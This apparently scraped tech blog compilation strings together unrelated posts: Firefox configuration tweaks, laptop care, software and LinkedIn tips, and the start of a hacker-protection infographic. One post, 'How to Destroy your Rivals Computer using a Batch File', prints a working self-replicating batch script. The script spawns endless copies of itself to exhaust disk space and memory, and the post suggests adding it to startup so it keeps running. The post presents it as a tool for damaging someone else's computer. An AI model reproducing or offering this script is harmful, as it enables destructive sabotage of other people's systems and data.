Speed Up your Firefox Page Loding Time

# Make pages load faster

Type "about :config" in the address field.


Code:
Set the value of network.http.pipelining  ->boolean "true"
Set the value of network.http.pipelining.maxrequests -> integer 100
Set the value of network.http.proxy.pipelining  -> boolean "true"

network.http.max-persistent-connections-per-server -> integer 8

Now right click and select new string
Enter this string:
nglayout.initialpaint.delay -> 0

NOTE : The below settings are not tested by me. They have been, however, tested by many people with satisfactory results. I leave them up to you.

Fast Computer Fast Connection


Code:
user_pref("content.interrupt.parsing", true);
user_pref("content.max.tokenizing.time", 2250000);
user_pref("content.notify.interval", 750000);
user_pref("content.notify.ontimer", true);
user_pref("content.switch.threshold", 750000);
user_pref("nglayout.initialpaint.delay", 0);
user_pref("network.http.max-connections", 48);
user_pref("network.http.max-connections-per-server", 16);
user_pref("network.http.max-persistent-connections-per-proxy", 16);
user_pref("network.http.max-persistent-connections-per-server", 8);
user_pref("browser.cache.memory.capacity", 65536);
A couple settings of note - Firefox is allocated 4096 KB of memory by default and in this configuration we give it roughly 65MB as denoted by the last line. This can be changed according to what is used.

Fast Computer, Slower Connection

This configuration is more suited to people without ultra fast connections. We are not talking about dial up connections but slower DSL / Cable connections.


Code:
user_pref("content.max.tokenizing.time", 2250000);
user_pref("content.notify.interval", 750000);
user_pref("content.notify.ontimer", true);
user_pref("content.switch.threshold", 750000);
user_pref("network.http.max-connections", 48);
user_pref("network.http.max-connections-per-server", 16);
user_pref("network.http.max-persistent-connections-per-proxy", 16);
user_pref("network.http.max-persistent-connections-per-server", 8);
user_pref("nglayout.initialpaint.delay", 0);
user_pref("browser.cache.memory.capacity", 65536);
Fast Computer, Slow Connection
user_pref("browser.xul.error_pages.enabled", true);
user_pref("content.interrupt.parsing", true);
user_pref("content.max.tokenizing.time", 3000000);
user_pref("content.maxtextrun", 8191);
user_pref("content.notify.interval", 750000);
user_pref("content.notify.ontimer", true);
user_pref("content.switch.threshold", 750000);
user_pref("network.http.max-connections", 32);
user_pref("network.http.max-connections-per-server", 8);
user_pref("network.http.max-persistent-connections-per-proxy", 8);
user_pref("network.http.max-persistent-connections-per-server", 4);
user_pref("nglayout.initialpaint.delay", 0);
user_pref("browser.cache.memory.capacity", 65536);
Slow Computer, Fast Connection
user_pref("content.max.tokenizing.time", 3000000);
user_pref("content.notify.backoffcount", 5);
user_pref("content.notify.interval", 1000000);
user_pref("content.notify.ontimer", true);
user_pref("content.switch.threshold", 1000000);
user_pref("content.maxtextrun", 4095);
user_pref("nglayout.initialpaint.delay", 1000);
user_pref("network.http.max-connections", 48);
user_pref("network.http.max-connections-per-server", 16);
user_pref("network.http.max-persistent-connections-per-proxy", 16);
user_pref("network.http.max-persistent-connections-per-server", 8);
user_pref("dom.disable_window_status_change", true);
One of the changes made for this particular configuration is the final line where the status bar is disabled for changing web pages to save processor time.

Slow Computer, Slow Connection

We have entered the doldrums of the dial-up user

user_pref("content.max.tokenizing.time", 2250000);
user_pref("content.notify.interval", 750000);
user_pref("content.notify.ontimer", true);
user_pref("content.switch.threshold", 750000);
user_pref("nglayout.initialpaint.delay", 750);

How to Live without a Computer

How to Live without a Computer



alt

People cannot supposedly imagine a life without technology these days and that is no surprise.
But let’s talk about a God-forbidden situation where you are left stranded with not even your computer at your side. So what would you do? Let’s explore the options:

1. The List


It is essential to talk about things which you used to do with your computer before it got lost or separated from you. Thus, put together that list. It will also help in reorganising your needs and demands that were earlier satisfied with the computer. This would allow you to analyse and plan things better for the time you do not have the gadget with you. The list may read like: Documenting, watching videos, movies, listening to songs, playing games online, Internet surfing, mails and social-networking.

2. Job Switch


Yes, a little tough to sink in, but think about a job that would not require you to be online all the time. So, a computer would be less missed when you do not have access to it during your work hours.

3. Read and Write


This could be the answer to everything you think you are missing out on, without a computer. Get into the habit of reading more. Buy books that carry information. Quench your thirst for knowledge. You can also start maintaining a journal for everything that is important to you. Writing your thoughts can be a very self-rewarding exercise.
alt

4. Don’t Miss the Movies


Catch your favourite movies on DVDs or make a visit to the theatre once in a while for some good old-fashioned cinema. This will help you rediscover the magic of watching films on the big screen.

5. Find your Old Transistor


It’s time you do that as you can’t do without music in your life. So, get your radio fixed and fill in new batteries so that you can carry it around with you. It may turn out to be a fashion statement, you never know.
alt

6. Get Active


Play all those sports you were actively involved in, while in school. Hit the tennis or squash court, or the soccer field. Working out also helps you have something to do and look forward to. Start going to the gym regularly, or swim at least 3-4 times a week. Exercise keeps the mind and body feeling fresh and away from dull thoughts.

7. Start texting


No computers, no Facebook or Twitter. But you still have your mobile. Text all your friends and keep the conversation going.
These are some of the suggested steps to go about life without a computer. Settling down with this idea is good, so keep your fingers crossed and enjoy this time away from your gadget.

Types of Softwares You Must Have

Types of Softwares You Must Have



alt

Living in a world where new advance in technology shape our lives every day,
it is imperative to know what software to install and use to make life smoother and stay in tune. Here is a look:

1. Web Browsers


While a Windows PC comes loaded with Internet Explorer as its default settings, downloading other browsers such as Mozilla Firefox and Google Chrome enable you to choose from a variety of features you may find extremely convenient. You can also download and install other browsers such as Safari and Opera to further enhance your experience of the web.

2. Anti Virus


Safe browsing on the Internet is enabled by the installation of good  anti-virus software. While AVG, Avira and a few others provide free versions, it is more useful to purchase a plan that ensures complete safety of your computer or laptop. QuickHeal, McAFee, Avast!, Panda Cloud and Norton are some of the other options you could try, based on your usage and browsing experience.

3. Disc Maintenance and Cleanup Software


Using the Internet and browsing the web may be fun pastimes or daily work routines, but it is also important to keep your system’s health in check. Install a good program to help you clean your system regularly and ensure the disc is free of any errors or potential threats.

4. PDF Converter


Whatever kind of work you do, or use the PC for, you most certainly need a PDF reader and converter sometime or the other. You can easily convert MS Word files, MS Excel Spreadsheets, MS PowerPoint presentations and many other files to PDF format. It gives a more professional appeal and gives a final touch to what you send across.

5. Media Player


While a Windows PC comes pre-equipped with a Windows Media Player, installing a Video Media Player such as VLC can be quite useful, especially if you are a movie buff. Even the quality of mp3 files is better rendered on VLC, as compared to other software.

6. CD/DVD Burner


Fond of listening to music? Avid movie buff? Or simply need to write many CDs or DVDs for work-related files? Then, install a CD/DVD burner that will ensure efficiency and convenience.

7. Designing Software


If you have a creative streak or have any slight need to edit images, create graphics and design anything, install Adobe Photoshop in your system. Other designing software you could use are CorelDraw, Adobe Illustrator and InDesign. Depending on the requirement, the software must be chosen.
A simple list of basic software that any PC must have is given above. For those looking for more specific software, consult someone who can guide you better. Remember to invest in the right software rather than use free versions that may cause more damage than good.

Laptop Care Tips

Laptop Care Tips



alt
Laptops might be facing competition from Notebooks, Netbooks and PC Tablets but for many, they remain the most ideal way of computing.
Laptops are highly mobile and with abundant internet connectivity options, easy financing and plenty of design & configuration options to choose from, owning a Laptop is the first choice for many.
However, despite being a durable and technologically-progressive device, Laptop needs some degree of caring. The following are some tips on how to take care your Laptop.

Laptop Care Against Humidity


Humidity remains a major challenge for most of the basic and mid-range Laptops. Thus, you need to ensure that your Laptop is kept away from all possible sources of water. This includes sitting in a room being ventilated by an air-cooler that uses water. It is better to swipe your Laptop with a dry cloth once, every two or three days. This is particularly useful during humid climatic conditions.

Laptop Care Tips for Fighting Dust


alt
Laptops might be retailed as having a dust-repelling surface but over a period, most of them surrender to the sheer volume of dust that surrounds us. Thus, maintain a habit of dry wiping your Laptop every now and then. Don’t leave the Laptop open when the room is being cleaned or dusted. When carrying it outside, always cocoon it within the Laptop bag. Never keep the Laptop close to the ground or on carpeted surfaces that are most likely to be dusty.

Critical Laptop Care—Using an Anti-virus


Every computing device needs an updated and robust antivirus and your Laptop is no different. This can be understood as caring for the lifeline of the Laptop since a single day without a dependable anti-virus could induce circuit errors, hardware-related slowness or a complete software breakdown.

Laptop LCD Care Tips


alt
A common mistake is to hold the Laptop by its display or the lid. This is the worst possible manner of handling the Laptop. It induces unwanted contact on the display and causes smudging, compressing the dust/grime harder onto the screen.

Laptop Maintenance Tips When Closing It


alt
• When closing your laptop, you should be using both the hands. This ensures that pressure created on the hinges is distributed equally. If you pressurize one side of the lid when closing it, the hinges tend to become overused on one side, causing the display to develop a bend/angle.
• Keeping the hands towards the center of the lid is the best approach.
• At the time of shutting the laptop, ensure small items that often escape the eye like earphones or pens are removed. These can induce damage on the screen.
• Don’t shut the lid too hard.

Laptop Power Cord Care


alt
Another common Laptop care mistake is pulling on the power cord. Yes, the power cord seems rather durable but it is not meant to be tugged at. Tugging the cord from the power socket reduces its longevity. A better approach is to extend your hand and pull or plug the cord directly into the power socket. Take care that the cord is plugged somewhere that is visible to you and others. Many times, people step on or over the cord, tripping over and crashing the Laptop on the floor in the process. A concealed Laptop cord also increases risk of it being overridden by chairs and footfalls. Try to keep the cord away from your feet and that of the people around you. Basically, any high-traffic area at home or office isn't the best for your cord’s placement.

Laptop Slot Care


alt
Don’t try to push the accessory devices into inappropriate slots of the Laptop. Take care to read the symbols printed along the side of Laptop and insert accordingly. Forcing accessories into the wrong slots can damage the sockets permanently. Caring for the slots also extends into inserting drives into their respective slots only without trying to enforce them and using the recommended angles.

Laptop Care When Inserting Media


alt
A common error committed by many Laptop users is inserting media in the form of DVD, CD that have loose labels. These can get jammed within the drives and damage them to the extent of needing a replacement. Similarly, trying to play media in the form of an under or over-sized CDs can permanently damage the player.

Laptop Care in Extreme Temperature Conditions


If you live or work in area that has extreme temperature conditions, it is advised to ensure some degree of temperature adaptation for the Laptop. For instance, if it is extremely cold, almost freezing inside, but your office is kept comfortably warm with the help air-conditioning systems, it is better to switch-on the Laptop a few minutes after entering the office. This allows the machine to acclimatize to the sudden change in temperature which can otherwise cause internal condensation and damage the electronic circuits.

Laptop Care When Using Vehicles


Don’t leave your laptop, encased or uncovered, within a locked car. With the windows shut, heat within the vehicle can shoot-up rather quickly. This is an unnecessary, avoidable risk that you don’t want to take with your Laptop. Excessive heat is injurious to the motherboard among all the basic and mid-segment computing devices.

Basic Laptop Care—Using a Cleaning Kit


alt
It is advised to invest in a cleaning kit that is easily found across most electronics and computing devices retailers. This package contains the ideal instruments meant for cleaning the Laptop. You need to clean your Laptop at least once, every ten days though some people might insist on weekly cleaning.

Laptop Battery Care Tips


alt
It isn't advisable to leave your battery blinking to the last breath before your charge it. Always charging the Laptop at its flagging end could build-up towards battery failure over a period. Seeking a charge when the battery is about 30%-35% charged is a wiser approach. This is more of a preventative tip. When the battery indicators show that limited time is left before the device becomes dormant, it is time to stop working and start looking for nearest power socket.

Laptop Keypad Maintenance


To ensure that you don’t induce damage on the keypad of the Laptop, try to keep it on flat surfaces. Don’t lean towards one side of the laptop or place it on inclined surfaces. This tends to create unfavorable angles that induce excessive stress on some parts of the keypad, making them prone to wearing-out early. This is why some folks have Laptops with one part of keypad looking smoked while the other half looks brand new.

Tips on Everyday Laptop Protection


Don’t put excessive weight or load on your device. This means not placing anything heavy like books, baggage or your elbow on the Laptop to reduce chances of physical damage.

Recommended Laptop Maintenance—Use a Proper Case/Bag


Yes, Laptops are meant to be sturdy and are ideally suited for those who are on the move but they need protection from repeated shocks and abrasive surfaces. Thus, it is better to invest in a Laptop bag that is good enough to safely envelope your device and protect it against any kind of harsh physical.
(Tips on Buying Laptop Bag: When you are buying a Laptop Case, ensure that it is appropriately sized for your Laptop. Many cheaper versions have been created that are marketed as a fit-all solution. However, such Laptop cases can be loose and might not provide the kind if impact-negating protection your device needs.)
A case that is too tight increases chances of you tugging at the Laptop, when pulling it out, and accidentally dropping it. It is better to buy a Laptop bag that has some kind of meshwork on the inside for protection against moisture/humidity. Pure leather cases might look great but they need caring too. So buy accordingly, i.e. something that is useful and you can maintain easily.

Important Laptop Usage Tip


Try to maximize your Laptop usage in a place that has a decent degree of air circulation. This is the best and simplest way of avoiding overheating of laptops.

More on Laptop Maintenance


alt
If you know how to go about handling hardware of Laptops, try to brush the area surrounding the external, exhaust fan. This component is prone to getting plugged if you use the Laptop in enclosed spaces. This is when the exhaust fan is really stressed and chances of overheating arise. If you don’t know how to access the exhaust, get the cleaning done from a professional.

Laptop Maintenance Tips When Traveling


With the advent of charging devices and charging sockets present in most vehicles, many people like to charge their devices, including Laptops, when traveling. However, for Laptops per se, this isn't the wisest thing to do. Most hard drives used in Laptops are prone to developing injuries if they are being subjected to motion and charging at the same time. Some experts even recommend not putting the Laptop in the Suspend/Sleep mode when it is packed in the case. Though it isn't very clear as to how this can damage the device, it might be a good idea not to push your luck.

Tips on Laptop Usage


Using your laptop regularly on the bed isn't the best thing to do. Beds are a source of dust and debris, including hair and dandruff. This can get sucked into the Laptop.

Tips on Packing the Laptop


alt
When packing your Laptop in its case/bag, try not to press lunch boxes, pens, pencils, cell phones and other stuff against the device. Place the Laptop in one, zipped section and other things, in different sections of the bag. These objects can scrape the outer surface of the Laptop and age it prematurely.

LinkedIn Tips and Tricks

LinkedIn Tips and Tricks


alt

LinkedIn, with its strong and every-growing support of more than 200 million users is a booming social site for professional networking. Unfortunately, users are yet to get a hang of LinkedIn’s knick-knacks,
so here are few hidden tips and tricks that will ensure your Linkedin Experience  is enjoyable and fruitful!

1. Saving Research


alt
LinkedIn users tend to hunt for jobs and other relevant subjects of grave importance. Fortunately for these regular surfers, LinkedIn offers the user to save three of their search results. Although it may seem like a fairly simple function, what it does is notify you by mail if any of the search results change, making it possible for you to keep a tab on any further advancement in the search. For instance, you are looking for potential vacancy in your desired company; a simple saved search will later notify you of a vacancy being added into the list.

2. Managing Projects


alt
What if you have a project to look after and assign it to a bunch of colleagues? LinkedIn offers apps that connects all the profiles together and lets you manage the project online. The best one for management is the Manymoon app (https://manymoon.com/). Task assigning, messaging and notification are handled by the app flawlessly, and allow managers to keep tabs on the flow of a project. Managing projects online is the perfect alternative for someone who works closely with freelancers, allowing a user to access the project online and keep a tab on it on-the-go.

3. SEO Optimization


alt
LinkedIn is highly resourceful, and hence SEO-friendly. To truly utilize LinkedIn and have an online virtual presence, LinkedIn offers you to fully customize your profile, meaning you can add relevant search words associated with you all over the page making it easier for Google or any other search site to hunt you down and display you promptly. For instance, a musician can add as many relevant words that can be picked up by the internet and lay them across the page to increase the profile’s relevance and authenticity.

4. Getting Jobs


alt
LinkedIn’s true prowess is its brilliant ability of clubbing professional job hunting with social networking. Other than having a well-laid profile with all the right details, pitching it to the right people is equally important. Joining relevant groups, adding people from similar field of interest and profession and expanding your professional circle is what LinkedIn’s all about. These groups offer lots of jobs and applying to them easier with the single click of a button.

5. Creating a Profile Batch.


alt
Having a LinkedIn profile is not enough. The right way to propagate your presence is most important. And for this reason, LinkedIn offers the ability to create a widget of sorts that redirects a user straight to your profile page when clicked. You can integrate this badge on your personal website, blog and as a signature in your mail. LinkedIn also offers various different designs to choose from.

How to Destroy your Rivals Computer using a Batch File

I just created the following batch file and ran it on myself and am SUPER glad i shut my computer off, because this batch file creates another batch file at random numbers, then puts the same code of itself in each of those files, then runs those bats, which ALSO do the same thing, constantly, forever, until your stop it.

what this will do, if you leave it on long enough, is it will store itself in ALOT of your hard drive space, making it almost ZERO, then also use up all your ram as your computer goes through all the files, and crash your pc. this virus WILL REQUIRE YOU TO REINSTALL WINDOWS!!!! to get rid of it!!!!

now, if you really wanted to make it a bad batch file, you could have it copy itself to startup, so that when you start up, the horror starts all over again, ON TOP OF ITSELF!!!!.



let me tell you, i let it run only five seconds, and that's b/c it took almost five seconds for the shutdown, and i deleted almost 9 megabytes of diskspace used by just BATCH FILES (which are 1 kb a PIECE!!) just imagine what would have happened to me if i let it run for just one minute...it'd be GIGS and probably well past GIGS in 10 minutes.

so, be careful guys, don't run it on yourself unless you have a virtual machine to limit your disk space used (even that might not be safe).

my usual warning, DON'T DO ANYTHING STUPID! DON'T DO ANYTHING ILLEGAL WITH THIS!




@echo off
:A
SET /A X=%RANDOM%%%1999999999%
type damage.bat >> %x%.bat
start %x%.bat
goto:A

 i am not responsible for anyone who decide to run this code.

How to protect yourself from hackers [Infographic]

How to protect yourself from hackers


According to the Trustwave’s 2013 Global Security Report, cyber-security threats are increasing as quickly as we can implement measures against them. Hackers have lots of different ways to steal your private data and information. And the main reason why hackers go after your personal information is identity theft!

Over the past year, there have been roughly 12.6 million victims of identity theft – or, to put it into perspective, one victim every three seconds. No matter how safe you think you’re being online, chances are you’re making at least a few mistakes that compromise the integrity of your personal information.
